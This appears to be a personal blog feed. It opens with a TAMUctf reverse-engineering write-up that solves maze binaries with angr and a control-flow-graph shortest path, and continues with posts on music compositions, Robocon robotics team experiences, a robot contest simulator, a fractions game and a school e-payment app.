angr is a python library which simulates machine code while keeping track of program state. Its exploration features are useful to find the input corresponding to a given output.

Coding

As a preliminary step, we'll import angr, load the project, and set some constants.

from angr import *
from pwn import *

def solve(file='elf'):
    p = Project(file)
    elf = ELF(file)

    # Find target address.
    start_addr = 0x4011b3
    tar_addr = 0x4011c8

Ghidra will load PIE assembly at offset 0x100000, but angr loads it at 0x400000 by default. So all addresses in the previous section were offset by an additional 0x300000 to account for this difference. There's a way to make angr load at a custom offset, but I forgot what the option was called. (But the option exists!)

Now we'll try some good ol' angr explore() and see what turns up.

state = p.factory.entry_state(addr=start_addr) # Construct the state when we "start" the executable at `start_addr`.
simgr = p.factory.simgr(state) # Get a simulation manager. This will... manage our simulations.
simgr.explore(find=tar_addr)  # GOGOGO!!!

explore() is the most straightforward command in angr. With the find=tar_addr parameter, we tell explore() to simulate and look for states which will execute the instruction at tar_addr.

Path Explosion

Unfortunately, this takes forever to run due to path explosion. Notice how the control flow makes the paths diverge in one of the binaries:

Now angr is pretty smart, but not too smart. angr will simulate all paths and if it encounters a branch, it will simulate both branches together. However, it will treat the function_133 branches as separate states...

To get a more concrete view of paths exploding, Gru tried calling simgr.run(n=50)—which simulates 50 steps...

90 active states is quite a lot! Usually we'd want to limit ourselves to around 10 active states to ensure good simulation speed.

With 50 steps and already 90 active states, the situation is pretty dismal. We'll need to find a better way of getting to the target address.

CFGs to the Rescue

Control flow graphs (CFGs) are directed graphs where nodes are blocks of code and edges indicate the direction the code can take. By translating the program into a graph, we can utilise the many graph algorithms at our disposal. In particular, we're interested in the shortest path between a start node and target node.

angr comes with a bundle of analysis modules; these include two CFG analysis strategies: CFGFast and CFGEmulated. The former analyses the program statically (without actually simulating the code!), whereas the latter analyses the program dynamically (i.e. by simulating the code).

Since the labyrinth elf only contains simple if-statements and function calls, and no obfuscation or complicated redirection whatsoever, we can construct a CFG statically!

Working with graphs and nodes in angr is fairly straightforward. angr CFGs are just instances of networkx graphs (a python graph library), so we'll need to import it to use its handy shortest_path function.

# Construct a CFG from the 1000 functions. 
# Restrict analysis to the relevant region to save time.
region = [(0x401155, 0x400000 + elf.sym['__libc_csu_init'])]
cfg = p.analyses.CFGFast(regions=region)

# Get networkx nodes for start and target addresses in CFG.
src_node = cfg.model.get_any_node(start_addr, anyaddr=True)
tar_node = cfg.model.get_any_node(tar_addr, anyaddr=True)

# Ensure nodes exist. shortest_path works differently if a node is None.
assert src_node is not None and tar_node is not None

# Construct the shortest path from src to tar. This will be a list of CFGNodes.
from networkx import shortest_path
path = shortest_path(cfg.graph, src_node, tar_node)

Now that we have a direct sequence of nodes from main to our exit(0) function, we just need to guide angr's simulation manager along the path, function-by-function.

# Walk through the rest of the path.
state = p.factory.blank_state(addr=start_addr)
for node in path:
    # Let the simulator engine works its magic.
    simgr = p.factory.simgr(state)
    simgr.explore(find=node.addr)
    assert len(simgr.found) > 0
    
    # Keep the found state for next iteration.
    state = simgr.found[0]

Our last step is to get the input used. angr's constraint solver should have it figured out.

# Get input which will get us from main to exit(0).
chain = state.posix.dumps(0)
return chain

On my computer, this solve process takes roughly 30-40 seconds... which is good enough, since it falls within the allotted time of one minute per solve. Putting it together with the solver template and running it, the server kindly hands us the flag!

Solve Script

from angr import *
from networkx import shortest_path
from pwn import *


def solve(file='elf'):
    p = Project(file)
    elf = ELF(file)

    # Find target address.
    start_addr = 0x4011b3
    tar_addr = 0x4011c8

    # Construct a CFG from the 1000 functions.
    # Restrict analysis to the relevant region to reduce time.
    region = [(0x401155, 0x400000 + elf.sym['__libc_csu_init'])]
    cfg = p.analyses.CFGFast(regions=region)

    # Get networkx nodes for start and target addresses in CFG.
    src_node = cfg.model.get_any_node(start_addr, anyaddr=True)
    tar_node = cfg.model.get_any_node(tar_addr, anyaddr=True)

    # Ensure nodes exist. shortest_path works differently if a node is None.
    assert src_node is not None and tar_node is not None

    # Construct the shortest path from src to tar. This will be a list of CFGNodes.
    path = shortest_path(cfg.graph, src_node, tar_node)

    # Walk through the rest of the path.
    state = p.factory.blank_state(addr=start_addr)
    for node in path:
        # Let the simulator engine works its magic.
        simgr = p.factory.simgr(state)
        simgr.explore(find=node.addr)
        assert len(simgr.found) > 0
        
        # Keep the found state for next iteration.
        state = simgr.found[0]

    # Get input which will get us from main to exit(0).
    chain = state.posix.dumps(0)
    print(chain)

    return chain


p = remote("tamuctf.com", 443, ssl=True, sni="labyrinth")

for binary in range(5):
    # Read input and save as binary.
    with open("elf", "wb") as file:
        file.write(bytes.fromhex(p.recvline().rstrip().decode()))
    
    # Solve and print.
    out = solve()
    p.sendline(out.hex().encode())

p.interactive()

Flag

gigem{w0w_y0ur3_r34lly_600d_w17h_m4z35}

Joyride in D

2022-01-20T00:00:00Z

This upbeat track is an offshoot of Morning Rush, spawned from a melody in the latter's interlude. Couldn't resist going ham on the drums.

Unlike Breath of Life and Morning Rush, this piece doesn't have any particular meaning imbued into it, just a fun little composition. I enjoyed writing the keyboard solo (although in its current state, it's not exactly playable), as well as the guitar countermelody at 2:50. Also writing for drums wasn't as boring as I thought.

This is the third of my three 2021 compositions, uploaded to mark the start of 2022. Enjoy.

Morning Rush

2022-01-19T00:00:00Z

Do you feel the exhilaration of the morning air? The excitement of stepping out of bed? Chomping down breakfast?

This upbeat track is an offshoot of The Breath of Life, rendering its minimalistic elements with a modern instrumentation and at a faster pace. In particular, it combines the 1564 chord progression with the 332 rhythmic pattern in the rhythm guitar.

This is the second of my three 2021 compositions, uploaded to mark the start of 2022. Enjoy.

The Breath of Life

2022-01-18T00:00:00Z

Slow. Growing. Contemplating. Lush. Carefree. Hopeful. Yearning. This piece seeks to paint a diverse set of feelings. Listen for the string ensemble easing in and out of the void, the solemn moments of silence, the lightheartedness of the syncopated pizzicato, the relentless cycle of tension and relief.

In some sections, I aimed for a more contemplative and reflective atmosphere. One key inspirations was Steve Reich's Music for 18 Musicians (an hour-long piece!) where Reich demonstrates the idea of "pulsing", where a note is repeated rapidly at regular intervals with an increase then decrease in dynamics. The overall effect is quite serene, making the soundscape ebb in and out.

To capture this atmosphere of serenity in The Breath of Life but maintain a slow and steady tempo, I decided for the lower strings (cello + double bass) to play long breves. At the same time, the music would "breathe in" and "breathe out" both dynamically and sometimes harmonically. As the lower strings play a third, the measure tenses up a bit. Examples of these are at 2:24 and 8:00.

This is the first of my three 2021 compositions, uploaded to mark the start of 2022. Enjoy.

Reticence

2021-08-21T00:00:00Z

Something about the past few years has been very poignant—deep, memorable, touching yet almost hurting; somewhat close yet also far; cold and distant yet warm inside.

Reticence was composed as a final project for an introductory course to music composition. Originally, I wanted the piece to be faster and more brisk (akin to a stressed state of mind). But after some reflection (and on further advice by instructors), I settled with a slower tempo. Following further modifications, the final result attempts to capture a held back, cold yet comforting, and ultimately poignant mood.

The piece was performed by Galison Lau and Ka Lap Wong in the final concert of the course. The SoundCloud upload is a software rendition.

ABU Robocon 2021

2021-06-20T00:00:00Z

Synopsis

ABU Robocon 2021 was originally scheduled at Jimo, China and the game was based on the traditional game of East Asian countries pitch-pot (投壺), or throwing arrows into a pot. In this game, each team designs two robots. The Throwing Robot (TR) can pick up arrows and throw them into the five pots located on the field, but is restricted to moving along the outer area of the field. The Defence Robot (DR), in addition to throwing arrows from the outer area, can navigate through both the outer and inner area of the field, rotating pots, blocking throwing attempts of the opponent, or handing leftover arrows on the field to the first robot. Teams score points based on the number of arrows thrown into each pot; but if a team scored two arrows in each of their five pots, they achieve Great Victory which immediately ends the game.

The above image shows the Robocon 2021 game field. Each team owns half of the field.

Experience

Unlike last year's Robocon, this year's game is more competitive and dynamic. Teams can block the opponent's arrows and spin the tables in the middle, denying the opponent points.

Having gained one year of experience, last year's juniors (me included) have been promoted to seniors. We've also recruited a new set of juniors interested in the HKUST Robotics Team experience. Each year, HKUST Robocon deploys two teams: "Fiery Dragon" and "War Dragon". I joined the Fiery Dragon team again.

This year's game was held face-to-face with audience bleachers, seats for sponsors, etc. The entire atmosphere was quite competitive and heated (in a fun way), unlike last year.

Team Management

The most common leadership style I've observed in Robocon history is to appoint one leader and have him/her manage the entire team—although with some delegation, e.g. letting hardware seniors manage hardware juniors at a closer level. However, this style did not work for our team as our seniors had rather high expectations of leadership.

Instead of a single leader, we distributed our leadership among the five seniors, each taking on roles according to their strengths. Some were better regarding mechanical matters (e.g. sourcing, design) and took care of the mechanical division. One had a clearer vision and goals regarding the software aspect, and oversaw the software juniors. Another was better at public speaking and handled interviews from local media. I was better at note-taking and was more organised—well, only in some aspects—so I organised some meetings, took notes during meetings, and made announcements to the team WhatsApp group.

All seniors had some juniors to mentor. But mentoring is a struggle. Even with a clear list of tasks to complete, I sometimes need to push my juniors to complete their responsibilities.

I am not the best when it comes to dealing with people. There are many different characteristics a person might have. They might be loud. Full of ideas. Extremely enthusiastic. They might be obstinate, perhaps a bit stubborn. They might be quiet. Soft-spoken. They might dislike criticism. Some might not budge until told to do so. To work effectively, we need to keep these characteristics in mind and sometimes adjust the way we speak. To me, this is a very taxing mental process, but I think it gets things done more effectively.

Tensions occasionally spark among certain team members that have this... magnetic repulsion against each other. One member would disagree with another member's modus operandi. If the latter member is resistant to change, then be prepared for more friction and pent-up frustration. It helps to talk with them, to mediate between arguments.

Although the notion is slightly cynical, maintaining good mental health among teammates goes a long way. Put another way, caring for others is important. Since we are all students, we all face the pressures of HKUST's culture, the pressure of assessments and exams, pressure from family, etc. Again, I am not a people person, so it was tough learning how to converse and say the right things—I'm still learning as I write.

Technical Side

More learning. Yayyy. We tested some new interesting sensors and slowly moved R&D projects along. When it comes to coding the robot, initially, us software seniors did most of the heavy lifting, guiding juniors along the way. Towards the end, we gave juniors more responsibility in adding features and testing new mechanisms.

Since this year's game is a lot more dynamic, we need to be open-minded about our opponents' strategies and keep our strategy flexible as well. This year I worked on the Defence Robot (DR). This was one of the keys to our flexibility in the competition. (Another key was our dedicated gamefield members.)

In the picture above, the DR is outfitted with three main weapons:

A claw to latch onto the handles of a spinnable table. This allowed for precise control of the table's angle.
- We didn't end up using this too much, since latching on and off takes quite a bit of time.
A bumper to smash the table handles to quickly spin it. Shock-resistant pads were added on the sides to soften blows from the left/right so that the robot doesn't tilt.
A "choppy" mechanism for slicing and dicing incoming opponent arrows.
- The idea is to knock opponent arrows out of their trajectory in a horizontal chopping motion.
- We also rarely used this mechanism, since we realised it wasn't too effective. And also, using this mechanism means we need to allocate one arrow from our supply of 20. The benefits did not exceed the costs.

So in the end, we mostly relied on our DR driver's skill and not on the complicated mechanisms. However, besides the driver's skill, having a good design was necessary. The robot needed to maintain a low centre of gravity so that it was less susceptible to tilting. Tilting would cause at least one wheel to be lifted off the ground, and the driver would need to wait for the robot to "untilt" to continue driving effectively. So tilting was a big no-no.

To an extent, the workload of a software member depends on the robot design of mechanical and soldering of hardware divisions. A poor joint design may lead to ineffective fixes via software. Poorly soldered boards or power management may lead to power cuts or shortages in the robot. Indeed, technical skills of members are important, but to alleviate the issue mentioned, proper communication and a clear vision is also required for a software member. Don't sit around when you see a confusing pin wiring configuration or loose panel. Suggest changes. Discuss ideas.

In last year's game, we relied more heavily on automation, since the situation was mostly static (placing balls in the same place), plus all the paths were the same. This year, with a dynamic game, we relied on more manual control. And this meant more practice and sweating for gamefield members.

Concluding Remarks

Through the dedication, hard work, and intense training of our team, we managed to obtain 1st place in the competition. (In fact, we tied with one of CUHK's teams... in a... somewhat controversial finale.)

In my Robocon 2020 reflection, I mentioned experiencing the team gestalt, of how a united team is greater than the sum of the individuals comprising it. This year, I had the rare opportunity in maintaining and nurturing the gestalt, or in other words, the team spirit. This doesn't mean that only seniors can nurture the team spirit. Everyone has a part in it, and it can be shown through various means (dedication, organisation, etc.).

Looking back I am grateful for the experience and opportunity of learning soft skills and management skills from the HKUST Robocon team. There were some things I might have done differently, such as talking with other teammates more in order to understand their position better and to care for them better. But working with people is tough, and can be beyond annoying >_<. It requires a lot of patience, one that I hope to steadily improve.

The Ultimate Defence Robot

As I was proofreading this piece of writing, I realised I haven't come up with any good memes. Suddenly, I received a vision for the ultimate defence robot. I propose the following blueprint:

Robot Design Contest Simulator

2020-12-10T00:00:00Z

This project was part of a recruitment phase for the HKUST Robotics Team. We used Qt for the GUI and Box2D for physics. The public-facing side of the project is uploaded online, and the desktop applications are available for download, but the source code is kept hidden. This post will provide some context and thought processes behind the design.

Context

Every year, the HKUST Robotics Team will host a set of training sessions followed by an internal competition (aka a Robot Design Contest or RDC) for trainees to test their mettle and skills. Trainees are segregated into mechanical, hardware, and software divisions, each division training a different skill set. In the RDC, trainees are grouped such that there is a fair distribution of trainees from each division.

Our RDCs generally work as follows:

Seniors construct game rules and game field (combining elements of ABU Robocon, MATE ROV, and NXP Cup Smart Car competitions). Usually the game is in a 1v1 (team vs team) format, which makes for a competitive and riveting atmosphere.
Trainees read and understand game rules.
Trainee teams construct, wire, and develop their robots to play the game described by the game rules.
On game day, teams bring in their robots to the constructed game field and compete.
Afterwards, trainees are evaluated by peers and seniors.

This year, the RDC game involved a robot tasked with picking up tennis balls and ping-pong balls from a basket. The robot needs to navigate a complex field with various obstacles.

Under normal circumstances, the training and RDC are held in a face-to-face mode, so that trainees are actively engaged and participating. But due to the Covid-19 pandemic and restrictions set in Hong Kong, we had to move the aforementioned events online.

With the RDC online, mech, hardware, and software divisions became more segregated. As trainees could not access our robotics lab, materials, and tools, the mech and hardware divisions had to settle with drawing SolidWorks/PCBs which are then reviewed and assessed by seniors. In the software division, we tested candidates' technical and collaborative skills with the RDC Simulator.

In the rest of this post, I'll use the terms "trainee" and "user" interchangeably. I'll also use the term "User Program" to refer to the program that software trainees are tasked to write.

High-Level Overview

To give an idea of what the simulator looks like, here's a little annotated screenshot of an early version:

Its core features?

A simulation area. This is where the robot is displayed and simulated. The position of the robot and its enabled sensors/motors are drawn, along with the bounding boxes of the obstacles. (Yes, collision detection exists.)
Components display. This lists the values of various sensors, useful for debugging. Most sensors have numeric values. The camera is a bit special, and attempts to render a 3D image (by perspective transform).
Configuration: We want trainees to be able to configure compile options (although the choice of compiler itself is fixed, GCC for Windows/Linux, clang for macOS). Trainees can also select the folder where their program code is stored.
Playback controls. Trainees have some control over the playback: reset, start, and stop. (No pausing though.)
Logging. This is where logging is displayed, log messages from both the simulator and user program will be fed here.

With this GUI in mind, the basic user flow for trainees is:

Write code in an IDE of their choice.
Open the simulator program.
Select the folder where their code is stored.
Click the "Run" button.

After pressing "Run", the simulator does the rest of the magic. It compiles the user's code, runs it in a subprocess, and connects with it via standard I/O. The simulation takes into account user commands and physics, simulating at roughly 40 FPS (rather slow, but it'll have to do >_<).

In a later version, there is a "Demo" mode which allows trainees to see how many points they've accumulated according to the game rules.

Planning

This year's RDC was held from November to December 2020. We only started developing the simulator in August. Since we lacked time and had to make room for studying, we had to flesh out and plan the simulator early on. We came to the following conclusions:

The available sensors and motors are limited (max 1 camera, 4 magnetic sensors, 5 line sensors, 4 IR sensors, 2 motors for wheels, 1 grabbing mechanism, 1 throwing mechanism).
The simulated chassis (robot body) is the same for all software teams. Each body has a rectangular shape and a cow-eye wheel near the back.
The advanced mechanisms (grabbing/throwing) are the same for all software teams.

In robotics, a program is usually compiled then transferred over to a microcontroller. The program typically has direct access to control all the necessary peripherals and actuators (e.g. GPIO pins to read button input and toggle LEDs, functions to tell a motor how fast to spin). But this year the trainees do not have this grand luxury.

Instead of writing a program that can touch the peripherals and actuators, trainees write a program which communicates with the simulator via standard I/O. In a microcontroller, GPIO pins can be accessed and read directly; but in the RDC simulator, GPIO data is provided from standard input. If an object is detected, the GPIO pin outputs a 1. Otherwise, it outputs a 0.

What is GPIO? General purpose input/output. In layman's terms: communicating with 1s and 0s. An example of a sensor which uses GPIO is an infrared (IR) sensor, which detects if an object is present within a certain distance in a fixed direction.

I won't describe the communication model between the simulator and user program in detail, since it's a bit convoluted and messy. (Although you can still check it out.) But suffice to say, there are advantages and disadvantages. An advantage is that the simulator and user program are decoupled, so the simulation would look nice and appear smooth. A disadvantage of our implementation is that the two programs (simulator and user) run asynchronously; and due to timing issues, this means that the simulation runs differently each time we hit "Run" (even without setting any randomness to our input).

This disadvantage seems to heavily outweigh the advantage; but in our defence, it simulates the real world of robotics perfectly. Even though the microcontroller processors are designed to be deterministic, sensor input and motor control are almost always non-deterministic (i.e. random) to a certain degree. :P

The communication model was inspired by Codingame's turn-based games. However, Codingame's turn based system provides all available input every single turn. In the RDC emulator, we only provide input if the user program requests it. Why? Well... in retrospect, we could have sent all available input... but by the time we realised this, it was a bit too late to change, otherwise we would break a lot of the code trainees have already written. Codingame's turn-based model is certainly much cleaner though.

Developing the Simulator

Project Management

We used our good friend GitHub projects and GitHub issues for project management and issue tracking.

Some general thoughts looking back:

The kanban boards that GitHub projects provides turned out to be quite effective in organising to-dos. It allowed all our project members to see the active and completed to-dos.
- One addition I made was adding a "Priority To-Do" column to help better prioritise our to-dos.
- Automation was pretty handy. When I closed an issue or linked+merged a pull request, the relevant card in the GitHub project would be automatically moved from to "Done".
The milestones feature wasn't too bad as it helped group to-dos under similar milestones. But in the end, we didn't really check up on it and ran over some deadlines. Perhaps it is more effective if paired with regular progress updates and meetings, but we had neither of those here.
Unrelated to GitHub, but I decided to set up a .clang-format file and standardise formatting, because it's that important. :P
- Qt has a nice ClangFormat plugin. One of my other teammates managed to set up Qt on VSCode, so he has direct access to all the other nice VSCode stuff.

Coding

We used Qt as our GUI framework since most of us were familiar with it. We would have gone with C++20 had QtCreator fully supported it, so we had to be content with C++17. Some points of interest:

QGraphicsView and QGraphicsItem are pretty nice. Just pay attention to your axes and frame of reference.
We used QPlainTextEdit for the logging widget. It's pretty good.
- We extended it with a custom slot for pushing log messages and highlighting them depending on a log level.
- e.g. "Warning" messages are orange, "Error" messages are red, and "Success" messages are green.
QProcess is also pretty nice and feature-rich. I ended up inheriting from it and tacking on some custom signals and slots.
Qt's UI designer is a blessing.
- Since we derived new classes for QGraphicsView (for drawing the simulation) and QPlainTextEdit (for the logger), we had to promote widgets in the UI designer. The process was rather straightforward, I think.
C++ parameter packs are pretty fun to write, as they have all the flexibility of varargs combined with type safety.
For those curious how we simulated the camera, we used perspective transform to render a 2D image in a 3D style. The only limitation was that there was no height information, so a tall pole would still appear flat at ground level. Nevertheless, it was good enough to generate input for the camera sensor. Its main use case is for detecting the black lines along the white/black track.
- QTransform::quadToQuad and QImage::transformed were really helpful here.

Physics

For physics, we ended up choosing Box2D. We decided to go with this library since it seemed like a simple, mature 2D physics library. We didn't go with 3D engines as they seemed overly complicated and probably require more computational power, not to mention testing and debugging.

One pain point I encountered was that the b2vec2 constructor does not have default values! This caused me grief, since objects were beginning to fly everywhere. And it took a LONG TIME TO DEBUGGGGG!!! I had assumed that since it was a C++-based library, it would have reasonable defaults. Well apparently not.

Documentation

There are various sources for documentation on the RDC simulator. We have documentation related to setup, installation, and administrative procedures and another set of documentation for coding a user program.

Being a rather detail-oriented person, I have become quite fond of checking and double-checking documentation. This may seem overly unnecessary, but it helps to have a link to point to when someone asks a question.

Conclusion

At least two software trainee teams managed to complete the game and score full points.

So was the RDC playable? Yes.
- ~~When developing the simulator, we didn't have a working program to test if the game can be completed. So it was a relief when some teams managed to finish.~~
Did it meet our objectives of testing trainees' technical and soft skills? Also yes... to some extent.
- Some groups had free riders. There was a case where a group only had one teammate remaining...

Some wisdom to takeaway:

Plan things ahead. It's better to resolve problems earlier on than later down the road. If your product is used by a lot of users, changing something drastic later on may affect your users negatively.
Be organised. Know what to-dos exist, which ones are more important, and when they should be done.
Remember to initialise your Box2D b2vec2s unless you want your physics intentionally broken.

Also, some final reflections:

We had planned a roadmap but started lagging behind. Perhaps the goals were slightly unrealistic, or we didn't consider the stress of the exam period. In my eyes, we could have pushed things a bit earlier so that the trainees had more time to plan. The final features (Demo Mode) were slightly rushed at the end.
Coding-wise, I think we did okay. The only thing to improve was our intellectual capacity so that we could write more sophisticated simulations. Some sensors were hacked together rather awkwardly. But learning takes time.
Probably one thing we could've done better was provide more tips for the trainees. I heard from other seniors that some trainees had difficulty merging their code (which was one way we tested collaborative skills).

ABU Robocon 2020

2020-08-29T00:00:00Z

Synopsis

ABU Robocon 2020 was originally scheduled to host in Suva, Fiji and the game will be based on Fiji's national sport rugby. The theme is "ROBO RUGBY 7s". In this game, each team designs two robots, one as pass robot (PR), and another as try robot (TR). Each can either be manual or automated. The PR will pass rugby balls and the TR will catch and place them on distinct try spots. For each successful try (ball placed in a try spot), the team is allowed to kick one ball through the conversion post. Teams score points depending on the zone location, but points can be awarded to the opponent's team if the kicking ball lands on the opponent's zone. The game ends when three minutes have passed, or when all seven kicking balls (shared by both teams) have been kicked.

The above image shows the Robocon 2020 game field. Each team takes half a field. The PRSZ and TRSZ denote the start zones of the PR and TR. KZ1 to KZ3 denote different levels of kick zones. Kicking from KZ3 will score higher points than kicking from KZ1.

Under normal circumstances, teams would play against each other in a single game. But due to the Covid-19 pandemic, the Hong Kong regional competition changed format. Instead of playing against each other, teams would play solo and aim to get the highest score within the shortest time.

Experience

Breaking the Ice

This was my first time joining a robotics competition. The previous competition I joined was a scholars' competition five years before—which I was terrible at—so competition experiences and atmospheres were still very new to me.

The Robocon international contest is usually held in the summer (July-August?) and the regional HK contest is usually held in June, after the participating universities have finished their exam periods. This year, due to Covid-19, the international contest was postponed to December, and the regional contest was postponed to August.

HKUST has two Robocon teams, traditionally named "Fiery Dragon" and "War Dragon". Both teams use the same lab and tools, but with different team leaders and composition of members. This year's "Fiery Dragon" had more international students than ever before. We were a diverse bunch with people hailing from Hong Kong, Indonesia, India, Malaysia, and South Korea.

As it turns out, the HKUST Robocon team has a solid history with a preset team hierarchy and generational development cycle. The mechanical and hardware divisions have preset tools and technology which allowed newcomers to quickly design robots. The software libraries were also somewhat mature, modularised to scale nicely with the number of components. Our seniors were also solid in both technical and soft skills, which was really nice.

Most of the game strategising and planning was left to the seniors. They would still take suggestions from juniors, but as they are more experienced, the planning was mostly left to them.

Due to Covid-19, the game format in the regional HK competition kept changing, so our strategy also kept evolving.

Developing Character

There was quite a lot to learn in the team.

On the interpersonal side, I'm rather soft-spoken, but it was encouraging to speak with other team members, most of whom were nice and friendly. Lunches together were a good environment to practice my next-to-non-existent communication skills. Throughout the months, tension and miscommunication occurred from time to time–this is inevitable; but I find that keeping calm and talking helps douse the flames of anger.

In Robocon, the robots can be designed by an unlimited number of people, but the actual game is played by only three gamefield members. Two members would each control the two robots, while a third member would act as a commander and shout directives. As a software member working on the PR, I would collaborate closely with the gamefield member controlling the PR: adjusting the control layout, providing convenience features for tuning and debugging, and taking suggestions on improvements or features.

On the technical side, I'm rather forgetful when it comes to technical pieces of knowledge; but over time I learned to take notes on a text file and prepare questions to ask seniors. Google and StackOverflow are, as usual, a valuable resource. Perhaps less so for the embedded world, but there are some helpful articles and forum threads.

The robotics world of software development offers an interesting blend of low-level tech—such as playing with PWM, working with threads and real-time operating systems—with a mixture of high-level concepts—such as state machines, getting from point A to point B. The low-level stuff was harder to grasp (no surprise), but the high-level stuff was more enjoyable.

As a software junior, most of my tasks involved reading sensor input and using the collected data to (1) determine what parts of the robot should move and (2) how fast to move them. I think it was fun being able to work with lasers—not the pew pew! kind of lasers, but the ziiing kind, except they don't shred things apart. Besides this, we need to adjust (tune) paths and values to find an optimal velocity (because speed matters!).

I primarily worked on the PR. This robot is equipped with a grabbing and shooting mechanism and is also responsible for firing the kicking balls. Here's a little photo I took from before:

Is it a good robot? Well... it certainly does the job of passing balls quickly and accurately. But when it comes to kicking, the design isn't too effective. During the kicking procedure, the robot will carry the tees and kick balls from the PRSZ to KZ3. The sad point is, the tees are barely lifted off the ground. And due to the uneven surface of the floor, the tees would likely shift position, moving the balls nested above, and thus potentially messing up the angle of the ball.

Safety

In the welcome presentation, the professor supervising the Robotics Team mentioned three important things: safety, safety, and safety.

The lab can be quite a dangerous environment at times. On numerous occasions I've scratched my hands, arms, or legs on the robot. The cuts weren't too deep, but the edges and corners of aluminium are rather sharp, so care needs to be taken.

One time, a team member got headshot by a rugby ball; the game requires robots to "kick" a football, so the resulting velocity was quite high... and quite dangerous. Another team member took a misconfigured SWD USB port—which are used to upload programs from our computer to the microcontroller—and connected it, leading to the unfortunate consequence of shorting his laptop.

There were also times when the robot would randomly and rapidly spin like the spinner on a cotton candy machine. This was due to a bug in code which we eventually fixed.

Not only do we need to look out for ourselves, but we also need to look out for other teammates and be ready to help when needed.

Concluding Remarks

Eventually we ended up with 4th place in the regional competition. Our team could've reached 1st place had we kicked a rugby ball more accurately. It was pretty close. 😔 Regardless of what place we achieved, the process was enjoyable.

The term "gestalt" refers to the idea that the whole is greater than the sum of its parts. Put in this context, the team as a whole has greater potential when it is functional, compared to a team which is divided and dysfunctional where its members are doing their own thing. Participating in Robocon with HKUST's robotics team helped me experience this in a tangible environment.

Overall, it was quite an enriching experience as a fresh undergrad. It was nice to meet new people and work together towards a common goal.

Fractons

2019-05-24T00:00:00Z

Fractons is an educational, interactive fractions game for elementary students made using Felgo/QML. The project is published online along with a release build for macOS.

Features

Exp + Levelling Mechanics 📈
Clean, slick, and bubbly UI
5 different question modes!
40+ achievements (including secret achievements! 🤫)
Statistics, to see how well you're doing
Fun little lottery system
Number pad (for mobile/tablets), configurable in settings
Daily quests! 🤠
SFX and background music 🎵
Floating fractions in the background (with the occasional secret! 🤫)
Notifications to notify you when you level up, complete a quest, or earn an achievement

Showcase

^{Main menu. Daily quests are on the left. Achievements, statistics on the top left. Notifications and settings on the top right.}

^{Solving questions in Balance mode. How fast can you fill in the question mark?}

^{Tons of achievements to try to earn!}

History

Fractons was originally programmed in Flash/Actionscript 2.0 for a ninth grade design project targetting fifth/sixth graders. It was later reprogrammed in a more appealing UI with user engagement features such as daily quests and a lottery.

E-Payment Desktop Application and System

2019-05-01T00:00:00Z

This project involved creating a functioning e-payment system to be integrated at our high school's cafeteria.

Context

I was in my penultimate year of high school and summer was approaching. At the time, every single student had a student ID card. They were simple in design with the usual portrait, student name, and expiry date. A friend came to me and suggested "evolving" the student card to be able to use it for electronic transactions (e-payment). The idea is akin to using an MTR Octopus to pay for goodies instead of having to scramble for cash and perform the entire process of calculating plus giving change.

To give a bit more background, our school cafeteria has five to six different local vendors. The school would rent a stall out to tenants who would sell snacks and lunch during the appropriate hours. At the time, the only transaction method is cash.

Also, some background about the card: it's a radio frequency ID (RFID) card. I won't go into the technical details of it, but basically you scan the card on a dedicated reader, and it can read a unique ID.

Development

A Painful Start

Now if you're an experienced software engineer, please bear with me as I take a walk down memory lane (or feel free to skip ahead).

Since I was young and naive at the time (and also because I was unfamiliar with web apps and other possible solutions), I decided to create a desktop application to perform the transactions.

Initially I started developing the application using SFML, since it was the only GUI framework I knew. After struggling with making buttons work and click properly, I switched to Qt which had some added advantages:

It is a much more mature framework, meaning there were tons of resources and form posts available.
It has a drag-and-drop GUI editor.
There are UI classes for widgets (e.g. pushbuttons, checkboxes, listviews), so I didn't have to reinvent the wheel.
It was cross-platform, which was convenient in case the school's computer operating system is different.

If there was one thing I learned, it was to understand the problem first, research the appropriate tools, and then start developing the solution. I wasted maybe two to four weeks coding a good GUI with SFML and scratching my head.

Designing a Robust Solution

Regardless, all the benefits brought by Qt allowed me to focus more on solving business logic issues. The logic issue? Well... there are several questions we should answer.

Who needs to use the application?
How do I store user data across applications?
- This could be vendor data (e.g. food names, food prices) or student data (e.g. name, balance).

To answer (1), we identify three groups of people: vendors, students, and admins. Admins are the school staff who will be responsible for updating a student's balance; similar to an MTR staff sitting in the customer service booth.

All three groups should have different access rights. For example, vendors and students shouldn't be able to add to their balance, only admins can do that.

Moreover, since their roles are different, the interfaces they see should also be different. A vendor shouldn't need to see an admin-level page, since it's unrelated to their function.

To solve (2), we could simply use a text file. Load data on startup, save data every time something changes. But this only works for a single user on a single device. Well... that's what I actually did at the beginning, except I used a SQLite database (which is basically a glorified text file made convenient for SQL).

Now the problem with SQLite is that it's serverless. In plain English, it can't cope with multiple users well.

A better alternative was to use MySQL or Microsoft SQL Server, which is designed to handle multiple users (clients, to be precise). Eventually I went with SQL Server, since that was what our school was using.

How does MySQL and SQL Server connect with multiple clients across the network? This is something you'll have to ask the experts. :D

Sidenote on Version Control

When undertaking any project, it is crucial to have flexibility. A version control system offers this.

What is a version control system?

A version control system (VCS) is a software tool which in a sense, takes snapshots (commits) of files and keeps track of them. Traditionally, to keep separate versions of a file, you might copy-paste a folder, name it "myfolder-v2", and so on. There are several reasons why you might want to do this, one example is that you want to keep a bunch of text from the old version and have it on hand if necessary.

VCSs take this idea of versioning and put it on steroids. While developing, you can do a bunch of things. You can jump back to an earlier snapshot (checkout). You could work on a new feature or bugfix (branch) concurrently. Flexibility.

Typically, VCSs are used by teams to effectively manage their code between team members. But they're also effective if you're coding alone! The (outdated) screenshots of the GUI in this post are here thanks to version control holding onto them. (I uploaded them but deleted them in one of my commits.)

If you're planning on doing a project (whether small, medium, or big) or even just cataloguing your learning process, consider using a VCS.

Designing the GUI

As mentioned before, there are three groups of users: vendors, students, and admins.

(The below screenshots are from a long-ago development version, for illustration purposes only.)

This is what the design for the vendor interface looks like:

Giant buttons on the left to select their customers' orders. A list of selected items on the right. And some buttons down below.

The user flow for a transaction is:

Cashiers log in.
Student orders food.
Cashier taps/clicks food items.
Program calculates subtotals and total cost.
Student scans their student ID.
Program verifies if student has enough balance and transacts.
Program records the transaction, updates the student's balance, and prints a receipt.

Most of these steps weren't automated in the beginning. But to reduce the chance of making mistakes (which humans are really good at!), it's best to automate as much as possible.

There are a couple other things vendors can do with the app:

Add menu items
View/print transaction summaries

But these are not very interesting.

Admins, of course, have a more powerful role. These peeps can view and update student's balances (but the actual flows are pretty boring TBH). (Unfortunately I did not save any screenshots of the GUI, and I'm not bothered to redownload Qt just to build the app once. >.>)

